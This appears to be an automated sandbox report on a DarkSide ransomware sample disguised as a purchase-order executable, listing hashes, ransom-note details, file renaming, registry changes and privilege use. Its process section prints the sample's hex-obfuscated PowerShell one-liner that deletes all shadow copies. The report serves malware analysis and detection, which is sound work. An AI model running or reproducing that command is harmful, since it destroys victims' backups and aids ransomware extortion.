Analysis
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max time kernel
32s -
max time network
112s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
04-08-2021 18:10
Static task
static1
Behavioral task
behavioral1
Sample
PurchaseOrderPoster.bin.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
PurchaseOrderPoster.bin.exe
Resource
win10v20210408
General
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Target
PurchaseOrderPoster.bin.exe
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Size
30KB
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MD5
f00aded4c16c0e8c3b5adfc23d19c609
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SHA1
86ca4973a98072c32db97c9433c16d405e4154ac
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SHA256
4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
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SHA512
a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf
Malware Config
Extracted
C:\\README.21b2020d.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 14 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
PurchaseOrderPoster.bin.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\UnprotectResolve.tiff PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\UnprotectResolve.tiff => C:\Users\Admin\Pictures\UnprotectResolve.tiff.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\ExportDeny.tiff PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\FormatSplit.raw => C:\Users\Admin\Pictures\FormatSplit.raw.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\SetFormat.png => C:\Users\Admin\Pictures\SetFormat.png.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\UpdateRepair.tif => C:\Users\Admin\Pictures\UpdateRepair.tif.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\ExportDeny.tiff => C:\Users\Admin\Pictures\ExportDeny.tiff.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\FormatSplit.raw.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\UnprotectResolve.tiff.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\RedoConvertTo.tif.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\UpdateRepair.tif.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\ExportDeny.tiff.21b2020d PurchaseOrderPoster.bin.exe File renamed C:\Users\Admin\Pictures\RedoConvertTo.tif => C:\Users\Admin\Pictures\RedoConvertTo.tif.21b2020d PurchaseOrderPoster.bin.exe File opened for modification C:\Users\Admin\Pictures\SetFormat.png.21b2020d PurchaseOrderPoster.bin.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" PurchaseOrderPoster.bin.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" PurchaseOrderPoster.bin.exe -
Modifies Control Panel 1 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" PurchaseOrderPoster.bin.exe -
Modifies registry class 5 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon PurchaseOrderPoster.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d PurchaseOrderPoster.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" PurchaseOrderPoster.bin.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d PurchaseOrderPoster.bin.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" PurchaseOrderPoster.bin.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exePurchaseOrderPoster.bin.exepid process 3064 powershell.exe 3064 powershell.exe 3064 powershell.exe 776 PurchaseOrderPoster.bin.exe 776 PurchaseOrderPoster.bin.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
PurchaseOrderPoster.bin.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeSecurityPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeTakeOwnershipPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeLoadDriverPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeSystemProfilePrivilege 776 PurchaseOrderPoster.bin.exe Token: SeSystemtimePrivilege 776 PurchaseOrderPoster.bin.exe Token: SeProfSingleProcessPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeIncBasePriorityPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeCreatePagefilePrivilege 776 PurchaseOrderPoster.bin.exe Token: SeBackupPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeRestorePrivilege 776 PurchaseOrderPoster.bin.exe Token: SeShutdownPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeDebugPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeSystemEnvironmentPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeRemoteShutdownPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeUndockPrivilege 776 PurchaseOrderPoster.bin.exe Token: SeManageVolumePrivilege 776 PurchaseOrderPoster.bin.exe Token: 33 776 PurchaseOrderPoster.bin.exe Token: 34 776 PurchaseOrderPoster.bin.exe Token: 35 776 PurchaseOrderPoster.bin.exe Token: 36 776 PurchaseOrderPoster.bin.exe Token: SeDebugPrivilege 3064 powershell.exe Token: SeBackupPrivilege 2388 vssvc.exe Token: SeRestorePrivilege 2388 vssvc.exe Token: SeAuditPrivilege 2388 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
PurchaseOrderPoster.bin.exedescription pid process target process PID 776 wrote to memory of 3064 776 PurchaseOrderPoster.bin.exe powershell.exe PID 776 wrote to memory of 3064 776 PurchaseOrderPoster.bin.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
b1379643e9ea715e528bd570c93a017a
SHA1d49170cad920375c4d093f07c56fabd6d11fcb0c
SHA256448a96c45bfc48a45d5469625ab5264fc55c75a5153bcb3c76c583810eab42e5
SHA512e76bf5d593ef5098dc38aef6abbf006d06240ddc5327ed9e9cf0e50b0f1e7a5b5ab7cd2efc907ff9dfca6742519ea0794912f6b7f8d3552863281992a82f9d47
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memory/3064-114-0x0000000000000000-mapping.dmp
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memory/3064-120-0x0000027118A70000-0x0000027118A71000-memory.dmpFilesize
4KB
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memory/3064-123-0x0000027118C20000-0x0000027118C21000-memory.dmpFilesize
4KB
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memory/3064-132-0x000002717F5F0000-0x000002717F5F2000-memory.dmpFilesize
8KB
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memory/3064-133-0x000002717F5F3000-0x000002717F5F5000-memory.dmpFilesize
8KB
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memory/3064-134-0x000002717F5F6000-0x000002717F5F8000-memory.dmpFilesize
8KB